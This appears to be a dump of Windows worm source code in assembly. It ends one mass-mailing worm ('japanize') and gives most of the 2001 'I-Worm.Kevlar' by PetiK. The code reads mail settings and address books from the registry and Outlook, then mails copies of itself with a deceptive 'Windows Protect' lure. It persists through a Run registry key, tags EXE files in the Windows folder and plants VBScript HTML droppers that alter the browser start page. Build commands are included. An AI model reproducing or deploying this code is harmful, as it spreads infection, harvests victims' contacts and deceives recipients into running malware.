pop ecx
|
||||
@@1:
|
||||
lodsw
|
||||
stosb
|
||||
loop @@1
|
||||
|
||||
pop eax
|
||||
pop esi
|
||||
add esi,20h
|
||||
|
||||
@@nounicode:
|
||||
call spread2
|
||||
|
||||
add esi,24h
|
||||
pop ecx
|
||||
loop @@spread_loop
|
||||
|
||||
@@exit:
|
||||
ret
|
||||
|
||||
|
||||
spread2:
|
||||
push esi
|
||||
mov esi,eax ; now esi=email addr
|
||||
|
||||
push 0
|
||||
push 1
|
||||
push 2
|
||||
callW socket
|
||||
mov dwo [sock],eax
|
||||
|
||||
mov wo [sin_family],AF_INET
|
||||
mov ax,25
|
||||
xchg al,ah
|
||||
mov wo [sin_port],ax
|
||||
|
||||
push ofs SMTP_Server
|
||||
callW gethostbyname
|
||||
test eax,eax
|
||||
jz @@exit
|
||||
|
||||
mov eax,[eax+12]
|
||||
mov eax,[eax]
|
||||
mov eax,[eax]
|
||||
|
||||
mov dwo [sin_addr],eax
|
||||
push len_sockaddr_in
|
||||
lea eax,sockaddr_in
|
||||
push eax
|
||||
push dwo [sock]
|
||||
callW connect
|
||||
test eax,eax
|
||||
jnz @@exit
|
||||
|
||||
call sendmail
|
||||
|
||||
@@exit:
|
||||
pop esi
|
||||
ret
|
||||
|
||||
|
||||
;;; ---
|
||||
;;; reg stuff
|
||||
get_some_info:
|
||||
xor ebx,ebx
|
||||
|
||||
push ofs hReg
|
||||
push 1
|
||||
push ebx
|
||||
push ofs str_SMInternetAccountManager
|
||||
push HKEY_CURRENT_USER
|
||||
callW RegOpenKeyExA
|
||||
test eax,eax
|
||||
jnz @@error
|
||||
|
||||
push ofs bufsiz_accountidx
|
||||
push ofs AccountIdx
|
||||
push ebx
|
||||
push ebx
|
||||
push ofs str_DMA
|
||||
push dwo [hReg]
|
||||
callW RegQueryValueExA
|
||||
test eax,eax
|
||||
jnz @@error
|
||||
|
||||
push dwo [hReg]
|
||||
callW RegCloseKey
|
||||
|
||||
push ofs hReg
|
||||
push 1
|
||||
push ebx
|
||||
push ofs str_SMIAccounts
|
||||
push HKEY_CURRENT_USER
|
||||
callW RegOpenKeyExA
|
||||
test eax,eax
|
||||
jnz @@error
|
||||
|
||||
push ofs bufsiz_SMTPSERVER
|
||||
push ofs SMTP_Server
|
||||
push ebx
|
||||
push ebx
|
||||
push ofs str_SMTPNAME
|
||||
push dwo [hReg]
|
||||
callW RegQueryValueExA
|
||||
test eax,eax
|
||||
jnz @@error
|
||||
|
||||
push ofs bufsiz_morons_mailaddr
|
||||
push ofs morons_Mailaddr
|
||||
push ebx
|
||||
push ebx
|
||||
push ofs str_SMTPEmailAddr
|
||||
push dwo [hReg]
|
||||
callW RegQueryValueExA
|
||||
test eax,eax
|
||||
jnz @@error
|
||||
|
||||
push dwo [hReg]
|
||||
callW RegCloseKey
|
||||
|
||||
push ofs hReg
|
||||
push 1
|
||||
push ebx
|
||||
push ofs str_SMWab4
|
||||
push HKEY_CURRENT_USER
|
||||
callW RegOpenKeyExA
|
||||
test eax,eax
|
||||
jnz @@error
|
||||
|
||||
push ofs bufsiz_wab4_path
|
||||
push ofs wab4_path
|
||||
push ebx
|
||||
push ebx
|
||||
push ebx
|
||||
push dwo [hReg]
|
||||
callW RegQueryValueExA
|
||||
test eax,eax
|
||||
jnz @@error
|
||||
|
||||
push dwo [hReg]
|
||||
callW RegCloseKey
|
||||
xor eax,eax
|
||||
ret
|
||||
@@error:
|
||||
xor eax,eax
|
||||
dec eax
|
||||
ret
|
||||
|
||||
|
||||
open_wab:
|
||||
xor ebx,ebx
|
||||
push ebx
|
||||
push FILE_ATTRIBUTE_NORMAL
|
||||
push OPEN_EXISTING
|
||||
push ebx
|
||||
push FILE_SHARE_WRITE
|
||||
push GENERIC_READ
|
||||
push ofs wab4_path
|
||||
callW CreateFileA
|
||||
inc eax
|
||||
jz @@error
|
||||
dec eax
|
||||
mov dwo [hwab4file],eax
|
||||
|
||||
push ebx
|
||||
push ebx
|
||||
push ebx
|
||||
push PAGE_READONLY
|
||||
push ebx
|
||||
push eax
|
||||
callW CreateFileMappingA
|
||||
mov dwo [hwab4map],eax
|
||||
|
||||
push ebx
|
||||
push ebx
|
||||
push ebx
|
||||
push FILE_MAP_READ
|
||||
push eax
|
||||
callW MapViewOfFile
|
||||
mov dwo [hwab4mapview],eax
|
||||
xor eax,eax
|
||||
ret
|
||||
@@error:
|
||||
xor eax,eax
|
||||
dec eax
|
||||
ret
|
||||
|
||||
create_base64enc:
|
||||
push 260
|
||||
push ofs myfilename
|
||||
push 0
|
||||
callW GetModuleFileNameA
|
||||
|
||||
xor ebx,ebx
|
||||
push ebx
|
||||
push FILE_ATTRIBUTE_NORMAL
|
||||
push OPEN_EXISTING
|
||||
push ebx
|
||||
push FILE_SHARE_READ
|
||||
push GENERIC_READ
|
||||
push ofs myfilename
|
||||
callW CreateFileA
|
||||
inc eax
|
||||
jz @@error
|
||||
dec eax
|
||||
mov dwo [hmyfile],eax
|
||||
|
||||
push 0
|
||||
push dwo [hmyfile]
|
||||
callW GetFileSize
|
||||
mov dwo [fsize],eax
|
||||
|
||||
add eax,100h
|
||||
push eax
|
||||
push GHND
|
||||
callW GlobalAlloc
|
||||
mov dwo [hmemout0],eax
|
||||
|
||||
push eax
|
||||
callW GlobalLock
|
||||
mov dwo [ptr_myself],eax
|
||||
|
||||
push 0
|
||||
push ofs recv_buffer
|
||||
push dwo [fsize]
|
||||
push eax
|
||||
push dwo [hmyfile]
|
||||
callW ReadFile
|
||||
test eax,eax
|
||||
jz @@eexit
|
||||
|
||||
push 0
|
||||
push dwo [hmyfile]
|
||||
callW GetFileSize
|
||||
push eax ; save size
|
||||
|
||||
shl eax,1 ; eax*2
|
||||
|
||||
push eax
|
||||
push GHND
|
||||
callW GlobalAlloc
|
||||
mov dwo [hmemout],eax
|
||||
|
||||
push eax
|
||||
callW GlobalLock
|
||||
mov dwo [ptr_base64buf],eax
|
||||
|
||||
; pop ebx ; restore size
|
||||
; push ebx ; size
|
||||
push eax
|
||||
push dwo [ptr_myself]
|
||||
call base64encode
|
||||
|
||||
|
||||
push dwo [hmyfile]
|
||||
callW CloseHandle
|
||||
|
||||
push dwo [ptr_myself]
|
||||
callW GlobalUnlock
|
||||
push dwo [hmemout0]
|
||||
callW GlobalFree
|
||||
|
||||
xor eax,eax
|
||||
ret
|
||||
|
||||
@@eexit:
|
||||
push dwo [hmyfile]
|
||||
callW CloseHandle
|
||||
|
||||
push dwo [ptr_myself]
|
||||
callW GlobalUnlock
|
||||
push dwo [hmemout0]
|
||||
callW GlobalFree
|
||||
|
||||
@@error:
|
||||
xor eax,eax
|
||||
dec eax
|
||||
ret
|
||||
|
||||
base64encode proc pascal
|
||||
arg @@src
|
||||
arg @@dest
|
||||
arg @@srclen
|
||||
|
||||
mov esi,dwo [@@src]
|
||||
mov edi,dwo [@@dest]
|
||||
|
||||
@@b64loop:
|
||||
xor eax,eax
|
||||
cmp dwo [@@srclen],1
|
||||
jne @@srclen2
|
||||
lodsb
|
||||
push 2
|
||||
pop ecx
|
||||
mov edx,03D3Dh ; ==
|
||||
dec dwo [@@srclen]
|
||||
jmp @@b64next
|
||||
|
||||
@@srclen2:
|
||||
cmp dwo [@@srclen],2
|
||||
jne @@srclen3
|
||||
lodsw
|
||||
push 3
|
||||
pop ecx
|
||||
push 03dh
|
||||
pop edx
|
||||
sub dwo [@@srclen],2
|
||||
jmp @@b64next
|
||||
@@srclen3:
|
||||
lodsd
|
||||
push 4
|
||||
pop ecx
|
||||
xor edx,edx
|
||||
dec esi
|
||||
sub dwo [@@srclen],3
|
||||
|
||||
@@b64next:
|
||||
bswap eax
|
||||
|
||||
@@b64n_loop:
|
||||
mov ebx,eax
|
||||
and eax,0FC000000h
|
||||
rol eax,6
|
||||
mov al,[@@b64table + eax]
|
||||
stosb
|
||||
mov eax,ebx
|
||||
shl eax,6
|
||||
dec ecx
|
||||
jnz @@b64n_loop
|
||||
|
||||
cmp dwo [@@srclen],0
|
||||
ja @@b64loop
|
||||
|
||||
mov eax,edx
|
||||
stosd
|
||||
ret
|
||||
|
||||
@@b64table db "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
|
||||
endp
|
||||
|
||||
|
||||
g_send:
|
||||
;; in
|
||||
;; ecx = size
|
||||
;; esi = ptr to data
|
||||
;; out
|
||||
;; eax = ret value of send()
|
||||
push 0
|
||||
push ecx
|
||||
push esi
|
||||
push dwo [sock]
|
||||
callW send
|
||||
ret
|
||||
|
||||
g_recv:
|
||||
;; out
|
||||
;; error -> eax=-1 success -> eax = 0
|
||||
@@again:
|
||||
push 0
|
||||
push 1024
|
||||
push ofs recv_buffer
|
||||
push dwo [sock]
|
||||
callW recv
|
||||
inc eax
|
||||
jz @@recv_error
|
||||
cmp eax,1024
|
||||
jz @@again
|
||||
xor eax,eax
|
||||
ret
|
||||
@@recv_error:
|
||||
xor eax,eax
|
||||
dec eax
|
||||
ret
|
||||
|
||||
|
||||
sendmail:
|
||||
;; yea. lame routine ;)
|
||||
push esi ; mail addr
|
||||
mov dwo [jflag],0 ; flag for .jp
|
||||
;;
|
||||
call g_recv
|
||||
|
||||
;;
|
||||
lea esi,smtp_HELO
|
||||
mov ecx,len_smtp_HELO
|
||||
call g_send
|
||||
|
||||
call g_recv
|
||||
|
||||
;;
|
||||
lea esi,smtp_MAIL_FROM
|
||||
mov ecx,len_smtp_MAIL_FROM
|
||||
call g_send
|
||||
|
||||
push ofs morons_Mailaddr
|
||||
callW lstrlen
|
||||
mov ecx,eax
|
||||
lea esi,morons_Mailaddr
|
||||
call g_send
|
||||
mov ecx,2
|
||||
lea esi,smtp_crlf
|
||||
call g_send
|
||||
|
||||
call g_recv
|
||||
;;
|
||||
mov ecx,len_smtp_RCPT_TO
|
||||
lea esi,smtp_RCPT_TO
|
||||
call g_send
|
||||
|
||||
pop esi
|
||||
push esi
|
||||
|
||||
push esi
|
||||
callW lstrlen
|
||||
push eax ; save
|
||||
mov ecx,eax
|
||||
call g_send
|
||||
|
||||
mov ecx,2
|
||||
lea esi,smtp_crlf
|
||||
call g_send
|
||||
|
||||
call g_recv
|
||||
|
||||
;; .jp?
|
||||
pop eax ; len of mail address
|
||||
pop esi
|
||||
push esi ; mail address
|
||||
add esi,eax
|
||||
sub esi,3
|
||||
cmp dwo [esi],00706a2eh ; .jp?
|
||||
jne @@1
|
||||
inc dwo [jflag]
|
||||
@@1:
|
||||
;;
|
||||
|
||||
lea esi,smtp_DATA
|
||||
mov ecx,len_smtp_DATA
|
||||
call g_send
|
||||
|
||||
call g_recv
|
||||
;;
|
||||
|
||||
lea esi,smtp_BODY_FROM
|
||||
mov ecx,len_smtp_BODY_FROM
|
||||
call g_send
|
||||
|
||||
push ofs morons_Mailaddr
|
||||
callW lstrlen
|
||||
mov ecx,eax
|
||||
lea esi,morons_Mailaddr
|
||||
call g_send
|
||||
|
||||
lea esi,smtp_BODY_TO
|
||||
mov ecx,len_smtp_BODY_TO
|
||||
call g_send
|
||||
|
||||
pop esi
|
||||
push esi
|
||||
|
||||
push esi
|
||||
callW lstrlen
|
||||
mov ecx,eax
|
||||
call g_send
|
||||
|
||||
cmp dwo [jflag],0
|
||||
jnz @@jsubject
|
||||
|
||||
mov ecx,len_smtp_BODY_SUBJECT
|
||||
lea esi,smtp_BODY_SUBJECT
|
||||
call g_send
|
||||
jmp @@body
|
||||
|
||||
@@jsubject:
|
||||
;; gen subject
|
||||
mov ecx,len_smtp_jsubject_1
|
||||
lea esi,smtp_jsubject_1
|
||||
call g_send
|
||||
|
||||
mov esi,(num_of_jsub-1)
|
||||
call rng
|
||||
lea esi,japanese_subjects
|
||||
mov esi,dwo [esi+eax*4]
|
||||
push esi
|
||||
callW lstrlen
|
||||
mov ecx,eax
|
||||
call g_send
|
||||
|
||||
mov ecx,len_smtp_jsubject_2
|
||||
lea esi,smtp_jsubject_2
|
||||
call g_send
|
||||
|
||||
|
||||
|
||||
@@body:
|
||||
lea esi,smtp_MIME_h
|
||||
mov ecx,len_smtp_MIME_h
|
||||
call g_send
|
||||
|
||||
mov esi,dwo [ptr_base64buf]
|
||||
push esi
|
||||
push esi
|
||||
callW lstrlen
|
||||
pop esi
|
||||
mov ecx,eax
|
||||
call g_send
|
||||
|
||||
lea esi,smtp_MIME_e
|
||||
mov ecx,len_smtp_MIME_e
|
||||
call g_send
|
||||
|
||||
|
||||
mov ecx,len_smtp_DOT_CRLF
|
||||
lea esi,smtp_DOT_CRLF
|
||||
call g_send
|
||||
|
||||
call g_recv
|
||||
;;
|
||||
|
||||
mov ecx,len_smtp_QUIT
|
||||
lea esi,smtp_QUIT
|
||||
call g_send
|
||||
|
||||
call g_recv
|
||||
pop esi
|
||||
|
||||
ret
|
||||
|
||||
|
||||
rng:
|
||||
;; in
|
||||
;; esi = range
|
||||
;; out
|
||||
;; eax = random number
|
||||
rdtsc
|
||||
xor eax,edx
|
||||
imul eax,dwo [r_seed]
|
||||
dec eax
|
||||
mov dwo [r_seed],eax
|
||||
xor edx,edx
|
||||
div esi
|
||||
mov eax,edx
|
||||
ret
|
||||
|
||||
end start
|
||||
|
||||
*************************************************************************
|
||||
|
||||
@ECHO OFF
|
||||
TASM32 /ml /m /z japanize.asm,japanize.obj
|
||||
TLINK32 -x -aa -Tpe japanize.obj,,,%import32.lib
|
||||
DEL *.OBJ
|
||||
@@ -0,0 +1,651 @@
|
||||
comment #
|
||||
Name : I-Worm.Kevlar
|
||||
Author : PetiK
|
||||
Date : August 7th 2001 - August 16th 2001
|
||||
Size : 5120 byte
|
||||
|
||||
Action : Copy itself to %System%\Kevlar32.exe hidden attribute
|
||||
%System%\MScfg32.exe normal attribute
|
||||
Add HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Kevlar32 = %System%\Kevlar32.exe
|
||||
|
||||
* Infect %Windir%\C???????.exe file on writing as "PetiK" in the file
|
||||
* Infect %Windir%\*.exe It add .htm and create a new file with ActiveX
|
||||
* Create C:\__.vbs This filetake all address in th e Address Book at save them in the
|
||||
%windir%\AddBook.txt. The worm scan this file to find the address and send a new mail :
|
||||
|
||||
Subject : Windows Protect !!
|
||||
Body : The smallest software to stop your computer to bug in each time.
|
||||
I have found this program on WWW.KEVLAR-PROTECT.COM
|
||||
|
||||
Take a look at the attchment.
|
||||
|
||||
Bye and have a nice day.
|
||||
|
||||
Attachment : MScfg32.exe
|
||||
|
||||
* It creates the %windir%\MSinfo32.txt. I look like this :
|
||||
|
||||
[File Infected] => Name of C???????.exe file infected
|
||||
CLEANMGR.EXE=Infected by W32.Kevlar.PetiK
|
||||
CVTAPLOG.EXE=Infected by W32.Kevlar.PetiK
|
||||
|
||||
[EMail saved] => Some address found in the address book
|
||||
first@mail.com=Next victim
|
||||
second@mail.com=Next victim
|
||||
|
||||
|
||||
To build the worm:
|
||||
tasm32 /M /ML Kevlar
|
||||
tlink32 -Tpe -aa -x Kevlar,,,import32
|
||||
upx -9 Kevlar.exe
|
||||
|
||||
To delete the worm:
|
||||
@echo off
|
||||
del %windir%\system\Kevlar32.exe
|
||||
del %windir%\system\MScfg32.exe
|
||||
del %windir%\*.exe.htm
|
||||
del %windir%\MSinfo32.txt
|
||||
del %windir%\AddBook.txt
|
||||
|
||||
#
|
||||
|
||||
.586p
|
||||
.model flat
|
||||
.code
|
||||
|
||||
JUMPS
|
||||
|
||||
callx macro a
|
||||
extrn a:proc
|
||||
call a
|
||||
endm
|
||||
|
||||
include useful.inc
|
||||
|
||||
DEBUT:
|
||||
F_NAME: push 50
|
||||
mov esi,offset Orig
|
||||
push esi
|
||||
push 0
|
||||
callx GetModuleFileNameA
|
||||
|
||||
mov edi,offset CopyName2
|
||||
push edi
|
||||
push 50
|
||||
push edi
|
||||
callx GetSystemDirectoryA
|
||||
add edi,eax
|
||||
mov eax,'cSM\'
|
||||
stosd
|
||||
mov eax,'23gf'
|
||||
stosd
|
||||
mov eax,'exe.'
|
||||
stosd
|
||||
pop edi
|
||||
push 0
|
||||
push edi
|
||||
push esi
|
||||
callx CopyFileA
|
||||
|
||||
mov edi,offset CopyName
|
||||
push edi
|
||||
push 50
|
||||
push edi
|
||||
callx GetSystemDirectoryA
|
||||
add edi,eax
|
||||
mov al,'\'
|
||||
stosb
|
||||
mov eax,'lveK'
|
||||
stosd
|
||||
mov eax,'23ra'
|
||||
stosd
|
||||
mov eax,'exe.'
|
||||
stosd
|
||||
pop edi
|
||||
|
||||
push esi
|
||||
callx GetFileAttributesA
|
||||
cmp eax,1
|
||||
je SUITE
|
||||
|
||||
push 0
|
||||
push edi
|
||||
push esi
|
||||
callx CopyFileA
|
||||
|
||||
push 01h
|
||||
push edi
|
||||
callx SetFileAttributesA
|
||||
|
||||
|
||||
REG: pushad
|
||||
@pushsz "SHLWAPI.dll"
|
||||
callx LoadLibraryA
|
||||
test eax,eax
|
||||
jz FIN
|
||||
mov edi,eax
|
||||
@pushsz "SHSetValueA"
|
||||
push edi
|
||||
callx GetProcAddress
|
||||
test eax,eax
|
||||
jz FIN
|
||||
mov esi,eax
|
||||
push 08h
|
||||
push offset CopyName
|
||||
push 01h
|
||||
@pushsz "Kevlar32"
|
||||
@pushsz "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
|
||||
push 80000002h
|
||||
call esi
|
||||
push edi
|
||||
callx FreeLibrary
|
||||
popad
|
||||
|
||||
call Nick
|
||||
|
||||
mov edi,offset nickname
|
||||
push 40h
|
||||
@pushsz "Hello, my name is :"
|
||||
push edi
|
||||
push 0
|
||||
callx MessageBoxA
|
||||
|
||||
call Infect
|
||||
|
||||
jmp FIN
|
||||
|
||||
SUITE: call Infect2
|
||||
VB_F: pushad
|
||||
push 00h
|
||||
push 80h
|
||||
push 02h
|
||||
push 00h
|
||||
push 01h
|
||||
push 40000000h
|
||||
@pushsz "C:\__.vbs"
|
||||
callx CreateFileA
|
||||
test eax,eax
|
||||
xchg edi,eax
|
||||
push 00h
|
||||
push offset octets
|
||||
push VBSSIZE
|
||||
push offset vbsd
|
||||
push edi
|
||||
callx WriteFile
|
||||
push edi
|
||||
callx CloseHandle
|
||||
popad
|
||||
push 1
|
||||
@pushsz "wscript C:\__.vbs"
|
||||
callx WinExec
|
||||
push 10000
|
||||
callx Sleep
|
||||
@pushsz "C:\__.vbs"
|
||||
callx DeleteFileA
|
||||
|
||||
SCAN1: mov edi,offset addbook
|
||||
push edi
|
||||
push 50
|
||||
push edi
|
||||
callx GetWindowsDirectoryA
|
||||
add edi,eax
|
||||
mov eax,"ddA\"
|
||||
stosd
|
||||
mov eax,"kooB"
|
||||
stosd
|
||||
mov eax,"txt."
|
||||
stosd
|
||||
xor eax,eax
|
||||
stosd
|
||||
call OPEN
|
||||
|
||||
FIN: push 00h
|
||||
callx ExitProcess
|
||||
|
||||
Nick Proc
|
||||
mov edi,offset nickname
|
||||
callx GetTickCount
|
||||
push 9
|
||||
pop ecx
|
||||
xor edx,edx
|
||||
div ecx
|
||||
inc edx
|
||||
mov ecx,edx
|
||||
name_g:
|
||||
push ecx
|
||||
callx GetTickCount
|
||||
push 'Z'-'A'
|
||||
pop ecx
|
||||
xor edx,edx
|
||||
div ecx
|
||||
xchg eax,edx
|
||||
add al,'A'
|
||||
stosb
|
||||
callx GetTickCount
|
||||
push 100
|
||||
pop ecx
|
||||
xor edx,edx
|
||||
div ecx
|
||||
push edx
|
||||
callx Sleep
|
||||
pop ecx
|
||||
loop name_g
|
||||
ret
|
||||
Nick EndP
|
||||
|
||||
Infect Proc
|
||||
pushad
|
||||
push 50
|
||||
push offset WinPath
|
||||
callx GetWindowsDirectoryA
|
||||
push offset WinPath
|
||||
callx SetCurrentDirectoryA
|
||||
FFF:
|
||||
push offset Search
|
||||
@pushsz "C???????.exe"
|
||||
callx FindFirstFileA
|
||||
inc eax
|
||||
je F_INF
|
||||
dec eax
|
||||
mov [exeHdl],eax
|
||||
I_FILE:
|
||||
mov verif,0
|
||||
xor eax,eax
|
||||
push eax
|
||||
push eax
|
||||
push 03h
|
||||
push eax
|
||||
push eax
|
||||
push 80000000h or 40000000h
|
||||
push offset Search.cFileName
|
||||
callx CreateFileA
|
||||
inc eax
|
||||
jz FNF
|
||||
dec eax
|
||||
xchg eax,ebx
|
||||
|
||||
xor eax,eax
|
||||
push eax
|
||||
push eax
|
||||
push eax
|
||||
push 04h
|
||||
push eax
|
||||
push ebx
|
||||
callx CreateFileMappingA
|
||||
test eax,eax
|
||||
jz CL1
|
||||
xchg eax,ebp
|
||||
|
||||
xor eax,eax
|
||||
push eax
|
||||
push eax
|
||||
push eax
|
||||
push 06h
|
||||
push ebp
|
||||
callx MapViewOfFile
|
||||
test eax,eax
|
||||
jz CL2
|
||||
xchg eax,edi
|
||||
|
||||
mov esi,eax
|
||||
cmp word ptr [esi],"ZM"
|
||||
jne CL2
|
||||
cmp byte ptr [esi+18h],"@"
|
||||
jne CL2
|
||||
cmp word ptr [esi+80h],"EP"
|
||||
jne CL2
|
||||
cmp byte ptr [esi+12h],"P"
|
||||
je CL2
|
||||
mov word ptr [esi+12h],"eP"
|
||||
mov word ptr [esi+14h],"it"
|
||||
mov byte ptr [esi+16h],"K"
|
||||
inc verif
|
||||
push edi
|
||||
callx UnmapViewOfFile
|
||||
CL2:
|
||||
push ebp
|
||||
callx CloseHandle
|
||||
CL1:
|
||||
push ebx
|
||||
callx CloseHandle
|
||||
|
||||
cmp verif,1
|
||||
jne FNF
|
||||
mov edi,offset InfoFile
|
||||
push edi
|
||||
push 50
|
||||
push edi
|
||||
callx GetWindowsDirectoryA
|
||||
add edi,eax
|
||||
mov eax,'iSM\'
|
||||
stosd
|
||||
mov eax,'3ofn'
|
||||
stosd
|
||||
mov eax,'xt.2'
|
||||
stosd
|
||||
mov al,'t'
|
||||
stosb
|
||||
pop edi
|
||||
mov esi,edi
|
||||
push esi
|
||||
@pushsz "Infected by W32.Kevlar.PetiK"
|
||||
push offset Search.cFileName
|
||||
@pushsz "File Infected"
|
||||
callx WritePrivateProfileStringA
|
||||
|
||||
FNF:
|
||||
push offset Search
|
||||
push [exeHdl]
|
||||
callx FindNextFileA
|
||||
test eax,eax
|
||||
jne I_FILE
|
||||
FC:
|
||||
push [exeHdl]
|
||||
callx FindClose
|
||||
F_INF:
|
||||
popad
|
||||
ret
|
||||
Infect EndP
|
||||
|
||||
Infect2 Proc
|
||||
pushad
|
||||
push 50
|
||||
push offset WinPath
|
||||
callx GetWindowsDirectoryA
|
||||
push offset WinPath
|
||||
callx SetCurrentDirectoryA
|
||||
FFF2:
|
||||
push offset Search
|
||||
@pushsz "*.exe"
|
||||
callx FindFirstFileA
|
||||
inc eax
|
||||
je F_INF2
|
||||
dec eax
|
||||
mov [exeHdl],eax
|
||||
I_FILE2:
|
||||
pushad
|
||||
mov edi,offset Search.cFileName
|
||||
push edi
|
||||
callx lstrlen
|
||||
add edi,eax
|
||||
mov eax,"mth."
|
||||
stosd
|
||||
xor eax,eax
|
||||
stosd
|
||||
push 00h
|
||||
push 80h
|
||||
push 02h
|
||||
push 00h
|
||||
push 01h
|
||||
push 40000000h
|
||||
push offset Search.cFileName
|
||||
callx CreateFileA
|
||||
test eax,eax
|
||||
xchg ebp,eax
|
||||
push 00h
|
||||
push offset octets
|
||||
push HTMSIZE
|
||||
push offset htmd
|
||||
push ebp
|
||||
callx WriteFile
|
||||
push ebp
|
||||
callx CloseHandle
|
||||
popad
|
||||
FNF2:
|
||||
push offset Search
|
||||
push [exeHdl]
|
||||
callx FindNextFileA
|
||||
test eax,eax
|
||||
jne I_FILE2
|
||||
FC2:
|
||||
push [exeHdl]
|
||||
callx FindClose
|
||||
F_INF2:
|
||||
popad
|
||||
ret
|
||||
Infect2 EndP
|
||||
|
||||
OPEN: pushad
|
||||
push 00h
|
||||
push 80h
|
||||
push 03h
|
||||
push 00h
|
||||
push 01h
|
||||
push 80000000h
|
||||
push offset addbook
|
||||
callx CreateFileA
|
||||
inc eax
|
||||
je NO
|
||||
dec eax
|
||||
xchg eax,ebx
|
||||
|
||||
xor eax,eax
|
||||
push eax
|
||||
push eax
|
||||
push eax
|
||||
push 02h
|
||||
push eax
|
||||
push ebx
|
||||
callx CreateFileMappingA
|
||||
test eax,eax
|
||||
je F1
|
||||
xchg eax,ebp
|
||||
|
||||
xor eax,eax
|
||||
push eax
|
||||
push eax
|
||||
push eax
|
||||
push 04h
|
||||
push ebp
|
||||
callx MapViewOfFile
|
||||
test eax,eax
|
||||
je F2
|
||||
xchg eax,esi
|
||||
|
||||
push 00h
|
||||
push ebx
|
||||
callx GetFileSize
|
||||
cmp eax,03h
|
||||
jbe F3 ; is the file empty ??
|
||||
|
||||
call SCAN
|
||||
|
||||
F3: push esi
|
||||
callx UnmapViewOfFile
|
||||
F2: push ebp
|
||||
callx CloseHandle
|
||||
F1: push ebx
|
||||
callx CloseHandle
|
||||
NO: popad
|
||||
ret
|
||||
|
||||
SCAN:
|
||||
pushad
|
||||
xor edx,edx
|
||||
mov edi,offset m_addr
|
||||
push edi
|
||||
p_c: lodsb
|
||||
cmp al," "
|
||||
je car_s
|
||||
cmp al,0dh
|
||||
je entr1
|
||||
cmp al,0ah
|
||||
je entr2
|
||||
cmp al,"!"
|
||||
je f_mail
|
||||
cmp al,"@"
|
||||
je not_a
|
||||
inc edx
|
||||
not_a: stosb
|
||||
jmp p_c
|
||||
car_s: inc esi
|
||||
jmp p_c
|
||||
entr1: xor al,al
|
||||
stosb
|
||||
pop edi
|
||||
test edx,edx
|
||||
je SCAN
|
||||
call SEND_MAIL
|
||||
jmp SCAN
|
||||
entr2: xor al,al
|
||||
stosb
|
||||
pop edi
|
||||
jmp SCAN
|
||||
f_mail: popad
|
||||
ret
|
||||
|
||||
SEND_MAIL:
|
||||
push 50
|
||||
push offset save_addr
|
||||
callx GetWindowsDirectoryA
|
||||
@pushsz "\MSinfo32.txt"
|
||||
push offset save_addr
|
||||
callx lstrcat
|
||||
push offset save_addr
|
||||
@pushsz "Next victim"
|
||||
push offset m_addr
|
||||
@pushsz "EMail saved"
|
||||
callx WritePrivateProfileStringA
|
||||
xor eax,eax
|
||||
push eax
|
||||
push eax
|
||||
push offset Message
|
||||
push eax
|
||||
push [MAPIHdl]
|
||||
callx MAPISendMail
|
||||
ret
|
||||
|
||||
|
||||
|
||||
.data
|
||||
; ===== INSTALLATION =====
|
||||
Orig db 50 dup (0)
|
||||
CopyName db 50 dup (0)
|
||||
CopyName2 db 50 dup (0)
|
||||
nickname db 11 dup (?)
|
||||
|
||||
; ===== INFECTION =====
|
||||
InfoFile db 50 dup (0)
|
||||
WinPath db 50 dup (0)
|
||||
exeHdl dd ?
|
||||
verif dd ?
|
||||
octets dd ?
|
||||
|
||||
; ===== MAIL =====
|
||||
addbook db 50 dup (0)
|
||||
save_addr db 50 dup (0)
|
||||
m_addr db 128 dup (?)
|
||||
MAPIHdl dd 0
|
||||
subject db "Windows Protect !!",00h
|
||||
body db "The smallest software to stop your computer to bug in each time.",0dh,0ah
|
||||
db "I have found this program on WWW.KEVLAR-PROTECT.COM",0dh,0ah,0dh,0ah
|
||||
db "Take a look at the attchment.",0dh,0ah,0dh,0ah
|
||||
db 09h,09h,"Bye and have a nice day.",00h
|
||||
NameFrom db "Your friend",00h
|
||||
|
||||
|
||||
Message dd ?
|
||||
dd offset subject
|
||||
dd offset body
|
||||
dd ?
|
||||
dd ?
|
||||
dd ?
|
||||
dd 2
|
||||
dd offset MsgFrom
|
||||
dd 1
|
||||
dd offset MsgTo
|
||||
dd 1
|
||||
dd offset Attach
|
||||
|
||||
MsgFrom dd ?
|
||||
dd ?
|
||||
dd NameFrom
|
||||
dd ?
|
||||
dd ?
|
||||
dd ?
|
||||
|
||||
MsgTo dd ?
|
||||
dd 1
|
||||
dd offset m_addr
|
||||
dd offset m_addr
|
||||
dd ?
|
||||
dd ?
|
||||
|
||||
Attach dd ?
|
||||
dd ?
|
||||
dd ?
|
||||
dd offset CopyName2
|
||||
dd ?
|
||||
dd ?
|
||||
|
||||
|
||||
|
||||
htmd:
|
||||
db '<html><head><title>PetiKVX come back</title></head><body>',0dh,0ah
|
||||
db '<script language=vbscript>',0dh,0ah
|
||||
db 'on error resume next',0dh,0ah
|
||||
db 'set fso=createobject("scripting.filesystemobject")',0dh,0ah
|
||||
db 'If err.number=429 then',0dh,0ah
|
||||
db 'document.write "<font face=''verdana'' size=''2'' color=''#FF0000''>'
|
||||
db 'You need ActiveX enabled to see this file<br><a href=''javascript:location.reload()''>'
|
||||
db 'Click Here</a> to reload and click Yes</font>"',0dh,0ah
|
||||
db 'Else',0dh,0ah
|
||||
db 'Set ws=CreateObject("WScript.Shell")',0dh,0ah
|
||||
db 'document.write "<font face=''verdana'' size=''3'' color=red>'
|
||||
db 'This page is generate by a worm<br>But this worm is proteced by Kevlar<br></font>"',0dh,0ah
|
||||
db 'document.write "<font face=''verdana'' size=''2'' color=blue><br>'
|
||||
db 'Worms are not dangerous for your computer but to survive, they must be strong</font>"',0dh,0ah
|
||||
db 'ws.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.avp.ch"',0dh,0ah
|
||||
db 'End If',0dh,0ah
|
||||
db '</script></html>',00h
|
||||
HTMSIZE = $-htmd
|
||||
|
||||
vbsd:
|
||||
db 'On Error Resume Next',0dh,0ah
|
||||
db 'Set Kevlar = CreateObject("Outlook.Application")',0dh,0ah
|
||||
db 'Set L = Kevlar.GetNameSpace("MAPI")',0dh,0ah
|
||||
db 'Set f=CreateObject("Scripting.FileSystemObject")',0dh,0ah
|
||||
db 'Set c=f.CreateTextFile(f.GetSpecialFolder(0)&"\AddBook.txt")',0dh,0ah
|
||||
